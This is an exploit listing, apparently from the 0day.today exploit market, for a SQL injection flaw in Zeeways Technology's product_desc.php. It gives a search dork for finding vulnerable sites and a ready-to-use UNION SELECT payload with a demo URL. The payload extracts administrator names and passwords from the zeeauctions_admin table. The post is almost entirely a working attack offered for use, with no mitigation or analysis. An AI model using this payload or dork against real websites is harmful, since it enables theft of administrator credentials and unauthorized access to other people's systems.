[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Zeeways Technology (product_desc.php) SQL Injection Vulnerability

Author
Gamoscu
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-10639
Category
web applications
Date add
07-01-2010
Platform
unsorted
=================================================================
Zeeways Technology (product_desc.php) SQL Injection Vulnerability
=================================================================


#############################################################
# Zeeways Technology (product_desc.php) SQL Injection Vulnerability
 
# Vendor: http://www.zeeways.com/
 
# Author: Gamoscu
##############################################################
 
 
# DORK :powered by zeeways
 
  
# Exploit: xxxxx/xxx/product_desc.php?id=[SQL-inj]
 
 
#    -1/**/union/**/all/**/select/**/1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--
     
            
          
 
# Demo: http://server/product_desc.php?id=-1/**/union/**/all/**/select/**/1,2,concat(admin_name,0x3a,pwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35+from+zeeauctions_admin--
 



#  0day.today [2024-12-24]  #